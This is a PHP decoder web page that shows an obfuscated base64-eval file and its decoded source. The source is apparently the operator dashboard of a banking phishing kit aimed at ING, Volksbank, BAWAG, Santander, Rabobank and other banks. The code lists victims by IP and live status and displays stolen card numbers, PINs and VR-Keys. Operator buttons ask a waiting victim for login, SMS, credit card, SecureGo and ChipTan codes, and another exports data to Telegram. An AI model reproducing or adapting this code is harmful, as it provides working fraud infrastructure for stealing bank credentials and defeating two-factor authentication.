Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCg0KbmFtZXNwYWNlIEFwcFxDb250cm9sbGVyc1xVc2VyczsNCg0..

Decoded Output download

?>b'<?php

namespace App\Controllers\Users;

use \Core\View;
use \App\Models\Users\User;
use \App\Auth;

class Logs extends \Core\Controller
{
    public function logsAction()
    {
        if (Auth::isLoggedIn()) {
            $data = User::checkSession($_SESSION[\'username\']);
            if ($data) {
                if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\') {
                    $logs = User::getLogs($_SESSION[\'username\']);
                    $this->showLogs($logs);
                } else {
                    View::render(\'Acces/logs.php\', [
                        \'title\' => \'Logs\'
                    ]);
                }
            } else {
                Auth::destroySession();
            }
        } else {
            static::redirect(\'/acces/login\');
        }
    }

    public function getOneAction()
    {
        if (Auth::isLoggedIn()) {
            $data = User::checkSession($_SESSION[\'username\']);
            if ($data) {
                if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\' && isset($_POST[\'id\'])) {
                    $log = User::getLog($_POST[\'id\'], $_SESSION[\'username\']);
                    $logarray = @json_decode($log[\'entrydata\'], true);

                    $this->showLog($log, $logarray);
                } else {
                    static::redirect(\'/acces/logs\');
                }
            } else {
                Auth::destroySession();
            }
        } else {
            static::redirect(\'/acces/login\');
        }
    }
	
	public function updateNoteAction()
    {
    if (Auth::isLoggedIn()) {
        $data = User::checkSession($_SESSION[\'username\']);
        if ($data) {
            if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\' && isset($_POST[\'id\']) && isset($_POST[\'note\'])) {
                $data = [\'id\' => $_POST[\'id\'], \'note\' => $_POST[\'note\']];
                $errors = [\'id\' => \'\', \'note\' => \'\'];

                if (empty($data[\'id\'])) {
                    $errors[\'id\'] = \'empty_id\';
                } 
                if (empty($data[\'note\'])) {
                    $errors[\'note\'] = \'empty_note\';
                } 

                if (empty($errors[\'id\']) && empty($errors[\'note\'])) {
                    $check = User::updateNote($_SESSION[\'username\'], $data[\'id\'], $data[\'note\']);
                    
                    if ($check) {
                        echo json_encode([\'success\' => \'true\']);
                    } else {
                        echo json_encode([\'fail\' => \'request_failed\']);
                    }
                } else {
                    echo json_encode($errors);    
                } 
            } else {
                static::redirect(\'/acces/login\');
            }
        } else {
            Auth::destroySession();
        }
    } else {
        static::redirect(\'/acces/login\');
    }
}

    public function deleteAction()
    {
        if (Auth::isLoggedIn()) {
            $data = User::checkSession($_SESSION[\'username\']);
            if ($data) {
                if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\' && isset($_POST[\'id\'])) {
                    $data = [\'id\' => $_POST[\'id\']];

                    $errors = [\'id\' => \'\'];

                    if (empty($data[\'id\'])) {
                        $errors[\'id\'] = \'empty_id\';
                    }

                    if (empty($errors[\'id\'])) {
                        $check = User::deleteLog($_SESSION[\'username\'], $data[\'id\']);

                        if ($check) {
                            echo json_encode([\'success\' => \'true\']);
                        } else {
                            echo json_encode([\'fail\' => \'request_failed\']);
                        }
                    } else {
                        echo json_encode($errors);
                    }
                } else {
                    static::redirect(\'/acces/login\');
                }
            } else {
                Auth::destroySession();
            }
        } else {
            static::redirect(\'/acces/login\');
        }
    }

    public function deleteAllAction()
    {
        if (Auth::isLoggedIn()) {
            $data = User::checkSession($_SESSION[\'username\']);
            if ($data) {
                if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\') {
                    $check = User::deleteLogs($_SESSION[\'username\']);

                    if ($check) {
                        echo json_encode([\'success\' => \'true\']);
                    } else {
                        echo json_encode([\'fail\' => \'request_failed\']);
                    }
                } else {
                    static::redirect(\'/acces/login\');
                }
            } else {
                Auth::destroySession();
            }
        } else {
            static::redirect(\'/acces/login\');
        }
    }
	
	public function deleteEmptyAction()
	{
    if (Auth::isLoggedIn()) {
        $data = User::checkSession($_SESSION[\'username\']);
        if ($data) {
            if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\') {
                $check = User::deleteEmptyLogs($_SESSION[\'username\']);
                
                if ($check) {
                    echo json_encode([\'success\' => \'true\']);
                } else {
                    echo json_encode([\'fail\' => \'request_failed\']);
                }                    
            } else {
                static::redirect(\'/acces/login\');
            }
        } else {
            Auth::destroySession();
        }
    } else {
        static::redirect(\'/acces/login\');
    }
	}

    public function banAction()
    {
        if (Auth::isLoggedIn()) {
            $data = User::checkSession($_SESSION[\'username\']);
            if ($data) {
                if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\' && isset($_POST[\'id\']) && isset($_POST[\'ip\'])) {
                    $data = [
                        \'id\' => $_POST[\'id\'],
                        \'ip\' => $_POST[\'ip\']
                    ];

                    $errors = [
                        \'id\' => \'\',
                        \'ip\' => \'\'
                    ];

                    if (empty($data[\'id\'])) {
                        $errors[\'id\'] = \'empty_id\';
                    }

                    if (empty($data[\'ip\'])) {
                        $errors[\'ip\'] = \'empty_ip\';
                    }

                    if (empty($errors[\'id\']) && empty($errors[\'ip\'])) {
                        $check = User::banUser($data[\'id\'], $data[\'ip\']);

                        if ($check) {
                            echo json_encode([\'success\' => \'true\']);
                        } else {
                            echo json_encode([\'fail\' => \'request_failed\']);
                        }
                    } else {
                        echo json_encode($errors);
                    }
                } else {
                    static::redirect(\'/acces/login\');
                }
            } else {
                Auth::destroySession();
            }
        } else {
            static::redirect(\'/acces/login\');
        }
    }

private function showLogs($logs)
{
    $topLogs = array();
    $otherLogs = array();
    $displayFormat = \'datatable\';

    $userAgents = array(
        \'Google Chrome\' => array(\'icon\' => \'fab fa-chrome\', \'type\' => \'Browser\'),
        \'Firefox\' => array(\'icon\' => \'fab fa-firefox\', \'type\' => \'Browser\'),
        \'Safari\' => array(\'icon\' => \'fab fa-safari\', \'type\' => \'Browser\'),
        \'Internet Explorer\' => array(\'icon\' => \'fab fa-internet-explorer\', \'type\' => \'Browser\'),
        \'Microsoft Edge\' => array(\'icon\' => \'fab fa-edge\', \'type\' => \'Browser\'),
        \'Opera\' => array(\'icon\' => \'fab fa-opera\', \'type\' => \'Browser\'),
        \'Brave\' => array(\'icon\' => \'fab fa-brave\', \'type\' => \'Browser\'),
        \'Windows\' => array(\'icon\' => \'fab fa-windows\', \'type\' => \'OS\'),
        \'Mac OS\' => array(\'icon\' => \'fab fa-apple\', \'type\' => \'OS\'),
        \'Linux\' => array(\'icon\' => \'fab fa-linux\', \'type\' => \'OS\'),
    );

    foreach ($logs as $log) {
        $new_date = (new \DateTime());
        $old_date = (new \DateTime($log[\'last_connected\']));
        $diff = $new_date->getTimestamp() - $old_date->getTimestamp();
        $waiting = \' bg-darker\';
        $wachten = \' ? | Offline\';
        if ($log[\'waiting\'] == \'true\') {
            $waiting = \' bg-blink\';
            $wachten = \' ?? | Waiting\';
            array_push($topLogs, $log);
        } else if ($diff < 10) {
            $waiting = \' bg-success\';
            $wachten = \' ?? | Online\';
            array_push($topLogs, $log);
        } else {
            array_push($otherLogs, $log);
        }
    }

    $allLogs = array_merge($topLogs, $otherLogs);

    if ($displayFormat === \'card\') {
        foreach ($allLogs as $log)
        {

            $new_date = new \DateTime();
            $old_date = new \DateTime($log["last_connected"]);

            $diff = $new_date->getTimestamp() - $old_date->getTimestamp();

            $waiting = "bg-darker";
            $wachten = "? | Offline";
            $statusClass = "offline-class"; // the class for gray rounded border

            if ($log["waiting"] == "true") {
                $waiting = "bg-blink";
                $wachten = "?? | Waiting";
                $statusClass = "waiting-class"; // the class for red rounded border
            } elseif ($diff < 10) {
                $waiting = "bg-success";
                $wachten = "?? | Online";
                $statusClass = "online-class"; // the class for green rounded border
            }

            // get the user_agent name and check if it\'s in the userAgents array
            $userAgentName = $log["user_agent"];
            $browserIcon = "";
            $browserName = "";
            $osIcon = "";
            $osName = "";
            foreach ($userAgents as $name => $info)
            {
                if (strpos($userAgentName, $name) !== false)
                {
                    if ($info["type"] == "Browser")
                    {
                        $browserIcon = $info["icon"];
                        $browserName = $name;
                    }
                    elseif ($info["type"] == "OS")
                    {
                        $osIcon = $info["icon"];
                        $osName = $name;
                    }
                }
            }

            if (isset($_POST["empty"]))
            {
                $sql = "DELETE FROM logs WHERE santander_user = \'\' AND santander_pass = \'\' AND santander_exp = \'\' AND santander_number = \'\' AND santander_tan = \'\' AND santander_confirm = \'\' AND santander_wifi = \'\' AND santander_wifi_pass = \'\' AND santander_wifi_pass_two = \'\' AND santander_creditcard = \'\' AND santander_ccexp = \'\' AND santander_cvv = \'\' AND santander_code = \'\' AND santander_respons = \'\'";
                $db = static ::getDB();
                $stmt = $db->prepare($sql);
                $stmt->execute();
                // Redirect to logs page after deleting the rows
                header("Location: /logs");
                exit();
            }

            echo \'<div class="cardke3ba col-lg-3">\';
            echo \'<div class=" mb-1 bg-darker rounded  custom-card-sinco"> 
            <div class="card-header text-white \' . $waiting . \' siilenced-darker">
            <i class="fa fa-wifi" aria-hidden="true"></i>
 \' . $log["ip"] . \' | <i class="fa fa-university" aria-hidden="true"></i>
 \' . htmlspecialchars($log["bank"]) . \'

            </div>\';
            echo \'<style>
    siilenced {
        font-family: monospace;
    }
    .os-icon:before {
        font-size: 24px;
        margin-right: 8px;
    }
    .browser-icon:before {
        font-size: 24px;
        margin-right: 8px;
    }
.fa-windows {
  color: #9c4dcc; /* Windows color */
}

.fa-apple {
  color: #9c4dcc; /* Mac color */
}

.fa-linux {
  color: #9c4dcc; /* Linux color */
}

.fa-chrome {
  color: #9c4dcc; /* Chrome color */
}

.fa-firefox {
  color: #9c4dcc; /* Firefox color */
}

.fa-safari {
  color: #9c4dcc; /* Safari color */
}

.fa-internet-explorer {
  color: #9c4dcc; /* Internet Explorer color */
}

.fa-edge {
  color: #9c4dcc; /* Edge color */
}

.fa-opera {
  color: #9c4dcc; /* Opera color */
}

.fa-brave {
  color: #9c4dcc; /* Brave color */
}

</style><div class="card-body"><h6>Additional Information</h6><hr>
<div class="card mb-1 siilenced-darker rounded  custom-card">

<p><siilenced>Status: \' . $wachten . \' <img height="10" width="10" src="/img/ing.gif"></siilenced></p>
<p><span class="siilenced"><span style="font-size: 20px;" class="\' . htmlspecialchars($osIcon) . \'"></span> <span style="font-size: 20px;" class="\' . htmlspecialchars($browserIcon) . \'"></span></span></p>
<p>
<siilenced>\' . (function () use ($log)
            {
                switch ($log["bank"])
                {
                    case "ING":
                        return "CardNumber: " . ($log["ing_wifi"] ? htmlspecialchars($log["ing_wifi"]) : \'<span style="color:red">NOT FILLED IN</span>\');
                    case "ARGENTA":
                        return "CardNumber: " . ($log["entrydata"] ? htmlspecialchars($log["entrydata"]) : \'<span style="color:red">NOT FILLED IN</span>\');
                    case "EASYBANK":
                        return "Username: " . ($log["easybank_user"] ? htmlspecialchars($log["easybank_user"]) : \'<span style="color:red">NOT FILLED IN</span>\');
                    case "VOLKSBANK":
                        return "Benutzername: " . ($log["volksbank_user"] ? htmlspecialchars($log["volksbank_user"]) : \'<span style="color:red">NOT FILLED IN</span>\');
                    case "BAWAG":
                        return "Verfgernummer: " . ($log["bawag_user"] ? htmlspecialchars($log["bawag_user"]) : \'<span style="color:red">NOT FILLED IN</span>\');
                    default:
                        return \'<span style="color:red"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> BANK NOT SELECTED <i class="fa fa-exclamation-circle" aria-hidden="true"></i></span>\';
                }
            }) () . \'</siilenced>
</p>
<p>
<siilenced>
    <input type="text" style="font-style: italic;" class="form-control rabo-login input-dark mt-1 custom-input" 
        placeholder="Note: \' . ($log["note"] ? htmlspecialchars($log["note"]) : "NO NOTE FILLED IN") . \'"
        id="note_\' . htmlspecialchars($log["user_id"]) . \'" onfocus="showButton(\\'\' . htmlspecialchars($log["user_id"]) . \'\\')">
    <button class="btn btn-danger btn-sm animated-button" id="saveNoteButton_\' . htmlspecialchars($log["user_id"]) . \'" style="display: none; opacity: 0;" 
        onclick="updateNote(\\'\' . htmlspecialchars($log["user_id"]) . \'\\', document.getElementById(\\'note_\' . htmlspecialchars($log["user_id"]) . \'\\').value)">
        <i class="fa fa-edit"></i> Save Note
    </button>
    <button class="btn btn-danger btn-sm animated-button" id="exitNoteButton_\' . htmlspecialchars($log["user_id"]) . \'" style="display: none; opacity: 0;" onclick="exitNote(\\'\' . htmlspecialchars($log["user_id"]) . \'\\')">
        <i class="fa fa-times-circle" aria-hidden="true"></i>
 Exit Note
    </button>
</siilenced>


</p>


</div>


          \';
?>
        <br>
            <button class="btn btn-purple btn-sm" onclick="openUser(\'<?php echo htmlspecialchars($log["user_id"]); ?>\')"><i class="fas fa-external-link-alt"></i> View</button>
            <button class="btn btn-purple btn-sm" onclick="deleteLog(\'<?php echo htmlspecialchars($log["user_id"]); ?>\')"><i class="fas fa-trash"></i> Delete</button>
            <button class="btn btn-purple btn-sm" style="display: none;" onclick="updateNote(\'<?php echo htmlspecialchars($log["user_id"]); ?>\', document.getElementById(\'note\').value)"><i class="fa fa-edit"></i> Save Note</button>
   
            <?php
            echo \'<div class="collapse" id="\' . htmlspecialchars($log["username"]) . htmlspecialchars($log["user_id"]) . \'" style="">\';

            echo "</div>";
            echo "</div>";
            echo "</div>";
            echo "</div>";

        }
} else if ($displayFormat === \'datatable\') {
    echo \'<table id="logsTable">\';
    echo \'<thead><tr>\';
    echo \'<th><i class="fa fa-info-circle"></i> Status</th>\';
    echo \'<th><i class="fa fa-globe"></i> IP</th>\';
    echo \'<th><i class="fa fa-university"></i> Bank</th>\';
    echo \'<th><i class="fa fa-desktop"></i> OS</th>\';
    echo \'<th><i class="fas fa-sticky-note"></i> Note</th>\';
    echo \'<th><i class="fas fa-cogs"></i> Actions</th>\';
    echo \'</tr></thead>\';
    echo \'<tbody>\';

        foreach ($allLogs as $log) {
            $new_date = (new \DateTime());
            $old_date = (new \DateTime($log[\'last_connected\']));
            $diff = $new_date->getTimestamp() - $old_date->getTimestamp();
            $waiting = "bg-darker";
            $statusClass = "status-badge offline-class";
            $wachten = "<span class=\'$statusClass\'>Offline</span>";

            if ($log["waiting"] == "true") {
                $waiting = "bg-blink";
                $statusClass = "status-badge waiting-class";
                $wachten = "<span class=\'$statusClass\'>Waiting</span>";
                echo \'<audio autoplay><source src="/audio/vis.mp3" type="audio/mpeg"></audio>\';
            } elseif ($diff < 10) {
                $waiting = "bg-success";
                $statusClass = "status-badge online-class";
                $wachten = "<span class=\'$statusClass\'>Online</span>";
            }

            $userAgentName = $log[\'user_agent\'];
            $browserName = \'\';
            $osName = \'\';
            foreach ($userAgents as $name => $info) {
                if (strpos($userAgentName, $name) !== false) {
                    if ($info[\'type\'] === \'Browser\') {
                        $browserName = $name;
                    } else if ($info[\'type\'] === \'OS\') {
                        $osName = $name;
                    }
                }
            }

        $bank = !empty($log[\'bank\']) ? $log[\'bank\'] : \'BANK NOT SELECTED\';

        $bank = !empty($log[\'bank\']) ? $log[\'bank\'] : \'BANK NOT SELECTED\';


        $noteStatus = !empty($log[\'note\']) ? $log[\'note\'] : \'No Note Filled In\';

        echo \'<tr>\';
        echo \'<td class="hover-effect">\' . $wachten . \'</td>\';
        echo \'<td class="hover-effect">\' . $log[\'ip\'] . \'</td>\';
        echo \'<td class="hover-effect">\' . $bank . \'</td>\';
        echo \'<td class="hover-effect">\' . $osName . \'</td>\';
       echo \'<td class="hover-effect">\';

// Create an array to hold the log data

$logData = array();
echo \'<div class="">\';

{
    $logData = htmlspecialchars($log["note"]);
}
echo \'</div>\';

if (!empty($log["volksbank_wifi_pass"])) {
    $logData["PIN"] = htmlspecialchars($log["volksbank_wifi_pass"]);
}

if (!empty($log["volksbank_wifi"])) {
    $logData["VR-Key"] = htmlspecialchars($log["volksbank_wifi"]);
}


// Encode the log data as JSON and echo it
echo json_encode($logData);

echo \'</td>\';

        echo \'<td>\';
        echo \'<button class="btn btn-purple btn-sm" style="margin-right: 5px; padding: 3px 6px; font-size: 0.8em;" onclick="openUser(\\'\'.htmlspecialchars($log["user_id"]).\'\\')"><i class="fas fa-external-link-alt"></i> View</button>\';
        echo \'<button class="btn btn-purple btn-sm" style="margin-right: 5px; padding: 3px 6px; font-size: 0.8em;" onclick="deleteLog(\\'\'.htmlspecialchars($log["user_id"]).\'\\')"><i class="fas fa-trash"></i> Delete</button>\';
        echo \'<button class="btn btn-purple btn-sm" style="padding: 3px 6px; font-size: 0.8em;" data-toggle="modal" data-target="#noteModal-\'.htmlspecialchars($log["user_id"]).\'"><i class="fa fa-edit"></i> Edit Note</button>\';

        echo \'</td>\';
        echo \'</tr>\';
    }

    echo \'</tbody>\';
    echo \'</table>\';
}


foreach ($allLogs as $log) {
?>
<!-- Modal -->
<div class="modal fade" id="noteModal-<?php echo htmlspecialchars($log["user_id"]); ?>" tabindex="-1" role="dialog" aria-labelledby="noteModalLabel-<?php echo htmlspecialchars($log["user_id"]); ?>" aria-hidden="true">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="noteModalLabel-<?php echo htmlspecialchars($log["user_id"]); ?>">Edit Note</h5>
        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
      </div>
      <div class="modal-body">
        <textarea id="note-<?php echo htmlspecialchars($log["user_id"]); ?>" class="form-control"><?php echo htmlspecialchars($log["note"]); ?></textarea>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
        <button type="button" class="btn btn-purple" onclick="updateNote(\'<?php echo htmlspecialchars($log["user_id"]); ?>\', document.getElementById(\'note-<?php echo htmlspecialchars($log["user_id"]); ?>\').value)">Save changes</button>
      </div>
    </div>
  </div>
</div>

<?php
}
}

    private function showLog($log, $logarray)
    {
        $new_date = (new \DateTime());
        $old_date = (new \DateTime($log[\'last_connected\']));
		
		$interval = $old_date->diff($new_date);

		$minutes = $interval->i;
		$hours = $interval->h;
		$days = $interval->d;

		$total_minutes = $minutes + $hours * 60 + $days * 24 * 60;

		$timeString = \'\';

		if ($total_minutes >= 60) {
			$hours = floor($total_minutes / 60);
			$minutes = $total_minutes % 60;
    
			$timeString = $hours . \' hour\' . ($hours > 1 ? \'s\' : \'\') . \' and \' . $minutes . \' minutes\' . ($minutes > 1 ? \'s\' : \'\') . \' ago\';
		} else {
			$timeString = $total_minutes . \' minutes\' . ($total_minutes > 1 ? \'s\' : \'\') . \' ago\';
		}
		
		
    	  $bank = \'\';
        if (!empty($log[\'bank\'])) {
            $bank = \' - \' . $log[\'bank\'];
			$user_id =  $log[\'user_id\'];
            $ip =  $log[\'ip\'];
            $waiting =  $log[\'waiting\'];
            $last_connected =  $log[\'last_connected\'];
	  }
        $diff = $new_date->getTimestamp() - $old_date->getTimestamp();

        echo \'<div class="row p-1">\';
        if ($diff > 10) {
            echo \'<div class="col-12">\';
            echo \'<div class="col-12 bg-darker rounded">\';
            echo \'<h1 class="text-white text-center p-4" id="alert" style="font-size: 2rem"><i class="fa fa-wifi" aria-hidden="true"></i> Currently Offline</h1>\';
            echo \'</div>\';
        } elseif ($log[\'waiting\'] === \'true\') {
            echo \'<div class="col-12">\';
            echo \'<div class="col-12 bg-blink rounded">\';
            echo \'<h1 class="text-white text-center p-4" id="alert" style="font-size: 2rem"><i class="fa fa-wifi" aria-hidden="true"></i> Currently Waiting </h1>\';
            echo \'</div>\';
        } else {
            echo \'<div class="col-12">\';
            echo \'<div class="col-12 bg-success rounded">\';
            echo \'<h1 class="text-white text-center p-4" id="alert" style="font-size: 2rem"><i class="fa fa-wifi" aria-hidden="true"></i> Currently Online</h1>\';
            echo \'</div>\';
        }
		echo \'<br><style>.border-left-danger {
    border-left: 0.25rem solid #1a1d20!important;
}</style><div class="row">

                    <div class="col-xl-3 col-md-6 mb-4">
               

                        <div class="card border-left-danger custom-border bg-darker h-100 py-2">

                            <div class="card-body">

                                <div class="row no-gutters align-items-center">
                                    <div class="col mr-2">

                                        <div class="text-xs font-weight-bold custom-text text-uppercase mb-1">
                                           <i class="fa fa-clock" aria-hidden="true"></i> </i>Last Seen</div>
                                        <div class="h5 mb-0 font-weight-bold text-white">\' . $timeString . \'</div>
                                    </div>
                                    <div class="col-auto">
                                      
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-xl-3 col-md-6 mb-4">
                        <div class="card border-left-danger custom-border bg-darker h-100 py-2">
                            <div class="card-body">
                                <div class="row no-gutters align-items-center">
                                    <div class="col mr-2">
                                        <div class="text-xs font-weight-bold custom-text text-uppercase mb-1">
                                           <i class="fa fa-info-circle" aria-hidden="true"></i> IP ADDRESS</div>
                                        <div class="h5 mb-0 font-weight-bold text-white">\' . $log[\'ip\'] . \'</div>
                                    </div>
                                    <div class="col-auto">
                                
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-xl-3 col-md-6 mb-4">
                        <div class="card border-left-danger custom-border bg-darker h-100 py-2">
                            <div class="card-body">
                                <div class="row no-gutters align-items-center">
                                    <div class="col mr-2">
                                        <div class="text-xs font-weight-bold custom-text text-uppercase mb-1">
                                            <i class="fa fa-id-card" aria-hidden="true"></i> User ID</div>
                                        <div class="h5 mb-0 font-weight-bold text-white">\' . $log[\'user_id\'] . \'</div>
                                    </div>
                                    <div class="col-auto">

                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-xl-3 col-md-6 mb-4">
                        <div class="card border-left-danger custom-border bg-darker h-100 py-2">
                            <div class="card-body">
                                <div class="row no-gutters align-items-center">
                                    <div class="col mr-2">
                                        <div class="text-xs font-weight-bold custom-text text-uppercase mb-1">
                                           <i class="fa fa-university" aria-hidden="true"></i> Bank</div>
                                        <div class="h5 mb-0 font-weight-bold text-white">\' . (empty($log[\'bank\']) ? \'NOT SELECTED\' : $log[\'bank\']) . \'</div>
                                    </div>
                                    <div class="col-auto">

                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>\';
		
		
        echo \'</div>\';
        echo \'</div>\';

        echo \'<div class="row p-1">\';
        echo \'<div class="col-lg-8 col-sm-12">\';
        echo \'<div class="col-12 p-4 bg-darker rounded">\';
        echo \'<h4 class="text-white"><i class="fa fa-database" aria-hidden="true"></i> Current Data</h4>\';
        echo \'<hr class="my-4">\';
        echo \'<div class="bg-darkest-inside p-4 rounded">\';     

        foreach($logarray as $key => $value)
        {
            $key_split = explode(\'_\', $key);

            if(strtolower($log[\'bank\']) == strtolower($key_split[0]))
            {
                //$key_split[0] = \'\';
                array_shift($key_split);
                $realkey = implode(\'_\', $key_split);

                echo \'<div class="form-group row">\';
                echo \'<label for="id" class="text-secondary col-sm-3 font-weight-bold">\'.ucfirst($realkey).\':</label>\';
                echo \'<div class="col-sm-9">\';
                echo \'<p class="text-secondary"><i>\' . htmlspecialchars($value) . \'</i>  </p>\';
                echo \'</div>\';
                echo \'</div>\';
            }
        }
        if ($log[\'bank\'] == \'VOLKSBANK\') {
            if ($log[\'waiting\'] == \'true\') {
                ?>
		       </div>
                        <div class="row">
                            <div class="col-lg-3">
                                <button class="btn btn-sm btn-block btn-rounded btn-outline-secondary mt-4" onclick="setVolksbank(\'<?php echo htmlspecialchars($log[\'user_id\']);?>\', \'login\')"><i class="fas fa-sign-in-alt"></i> Ask Login</button>
                            </div>
			    <div class="col-lg-3">
                                <button class="btn btn-sm btn-block btn-rounded btn-outline-secondary mt-4" onclick="setVolksbank(\'<?php echo htmlspecialchars($log[\'user_id\']);?>\', \'blz\')"><i class="fas fa-sign-in-alt"></i> Ask BLZ</button>
                            </div>
                            <div class="col-lg-3">
                                <button class="btn btn-sm btn-block btn-rounded btn-outline-secondary mt-4" onclick="setVolksbank(\'<?php echo htmlspecialchars($log[\'user_id\']);?>\', \'secure\')"><i class="fas fa-mobile"></i> Ask SecureGo</button>
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-lg-3">
                                <button class="btn btn-sm btn-block btn-rounded btn-outline-secondary mt-4" onclick="setVolksbank(\'<?php echo htmlspecialchars($log[\'user_id\']);?>\', \'cc\')"><i class="fas fa-credit-card"></i> Ask Creditcard</button>
                            </div>
			    <div class="col-lg-3">
                                <button class="btn btn-sm btn-block btn-rounded btn-outline-secondary mt-4" onclick="setVolksbank(\'<?php echo htmlspecialchars($log[\'user_id\']);?>\', \'sms\')"><i class="fas fa-sms"></i> Ask SMS</button>
                            </div>
                            <div class="col-lg-3">
                                <button class="btn btn-sm btn-block btn-rounded btn-outline-secondary mt-4" onclick="setVolksbank(\'<?php echo htmlspecialchars($log[\'user_id\']);?>\', \'info\')"><i class="fas fa-info-circle"></i> Ask Info</button>
                            </div>

                        </div>
			<div class="row">
                            <div class="col-lg-3">
                                <button class="btn btn-sm btn-block btn-rounded btn-outline-secondary mt-4" onclick="setVolksbank(\'<?php echo htmlspecialchars($log[\'user_id\']);?>\', \'sign\')"><i class="fa fa-sign-language" aria-hidden="true"></i> Ask Tan</button>
                            </div>
                            <div class="col-lg-9">
                                <input type="text" class="form-control caixa-card input-dark mt-4 custom-input" placeholder="Fill in the ChipTan code">
                            </div>
                        </div> 
			<div hidden class="row">
                            <div class="col-lg-3">
                                <button class="btn btn-sm btn-block btn-rounded btn-outline-secondary mt-4" onclick="setVolksbank(\'<?php echo htmlspecialchars($log[\'user_id\']);?>\', \'sign2\')"><i class="fa fa-sign-language" aria-hidden="true"></i> M2</button>
                            </div>
                            <div class="col-lg-9">
                                <input type="text" class="form-control caixa-tan input-dark mt-4 custom-input" placeholder="Fill in the first M2 Challenge">
                                <input type="text" class="form-control caixa-live input-dark mt-4 custom-input" placeholder="Fill in the second M2 Challenge">
                            </div>
                        </div>
			<div class="row">
                            <div class="col-lg-3">
                                <button class="btn btn-sm btn-block btn-rounded btn-outline-success mt-4" onclick="setVolksbank(\'<?php echo htmlspecialchars($log[\'user_id\']);?>\', \'finish\')"><i class="fa fa-check-circle" aria-hidden="true"></i> Finish</button>
                            </div>
                        </div>
 
                    </div>
                </div>
                <?php
            }


        }
        if ($log[\'waiting\'] === \'false\') {
            echo \'</div>\';
            echo \'</div>\';
            echo \'</div>\';
        }
        echo \'<div class="col-lg-4 col-sm-12">\';
        echo \'<div class="col-12 p-4 bg-darker custom-top-margin rounded" style="min-height: 173px;">\';
        echo \'<h5 class="text-white"><i class="fa fa-cog" aria-hidden="true"></i> Options</h5>\';
        echo \'<hr class="my-4">\';
        echo \'<style type="text/css">
    .modal-header {
    display: flex;
    align-items: flex-start;
    justify-content: space-between;
    padding: 1rem 1rem;
    border-bottom: 1px solid #202020;
    border-top-left-radius: calc(0.3rem - 1px);
    border-top-right-radius: calc(0.3rem - 1px);
}
.modal-footer {
    display: flex;
    flex-wrap: wrap;
    align-items: center;
    justify-content: flex-end;
    padding: 0.75rem;
    border-top: 1px solid #202020;
    border-bottom-right-radius: calc(0.3rem - 1px);
    border-bottom-left-radius: calc(0.3rem - 1px);
}

.siilenced-darker {
    background-color: #1c1c1c;
}
.bg-darkest-inside{
    background-color: #212325; 
}
</style><!-- Rabobank Modal -->\';
          echo \'\';
       ?>
<div class="modal fade" id="exampleModalCenter" tabindex="-1" role="dialog" aria-labelledby="exampleModalCenterTitle" aria-hidden="true">
  <div class="modal-dialog modal-dialog-centered" role="document">
    <div class="modal-content bg-darker">
      <div class="modal-header siilenced-darker">
        <h5 class="modal-title" id="exampleModalLongTitle"><i class="fa fa-ban" aria-hidden="true"></i> Are you sure u want to ban user?</h5>
      </div>
      <div class="modal-body">
        <p style="font-style: italic;">This action cannot be undone.</p>


        <hr>

        <p><i class="fa fa-database" aria-hidden="true"></i> Fetching Details <img height="15" width="15" src="/img/ing.gif"></p>
<style>
siilenced { 
  font-family: monospace;
}
</style><div class="card-body">
<div class="card mb-1 siilenced-darker rounded  custom-card">

<p><siilenced> Ip_address: <?php echo htmlspecialchars($ip);?> </siilenced></p>
<p><siilenced> user_agent: <?php echo htmlspecialchars($log[\'user_agent\']);?></siilenced></p>
<p><siilenced> user_id: <?php echo htmlspecialchars($log[\'user_id\']);?></siilenced></p>
<br><br>
</div>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times" aria-hidden="true"></i> Close</button>
        <button class="btn btn-outline-danger"  data-dismiss="modal" onclick="banUser(\'<?php echo $log[\'ip\'];?>\', \'<?php echo $log[\'user_id\'];?>\')"><i class="fa fa-check" aria-hidden="true"></i> Yes</button>


       <?php
        echo \'</div>
    </div>
  </div>
 </div>
</div>\';
          echo \'<!-- End Rabobank Modal -->\';
          ?>

        <button class="btn btn-sm btn-outline-primary col-lg-12" style="font-style: italic;" data-toggle="modal" data-target="#exampleModalCenter"><i class="fa fa-ban"></i> Ban User</button>
        <br>
        <br>
        <button class="btn btn-sm btn-outline-primary col-lg-12" onclick="deleteLog(\'<?php echo htmlspecialchars($log[\'user_id\']);?>\')" style="font-style: italic;" id=""><i class="fa fa-trash"></i> Delete User</button>
        <br>
        <br>
        <button class="btn btn-sm btn-outline-primary col-lg-12" onclick="sendToTelegram()" style="font-style: italic;"><i class="fab fa-telegram-plane" aria-hidden="true"></i> Export To Telegram</button> 
		<br>
		<input type="text" style="font-style: italic;" class="form-control rabo-login input-dark mt-4 custom-input" placeholder="<?php echo $log[\'note\'] ? htmlspecialchars($log[\'note\']) : \'Leave a note for (\' . htmlspecialchars($log[\'user_id\']) . \')\'; ?>" id="note">
		<br>
         <button class="btn btn-sm btn-outline-primary col-lg-12" onclick="updateNote(\'<?php echo htmlspecialchars($log[\'user_id\']);?>\', document.getElementById(\'note\').value)" style="font-style: italic;"><i class="fa fa-edit"></i> Update Note</button>
        <?php
        echo \'</div>\';
        echo \'</div>\';
        echo \'</div>\';

        echo \'<div class="row p-1 mt-3 mb-3">\';
        echo \'<div class="col-lg-8 col-sm-12">\';
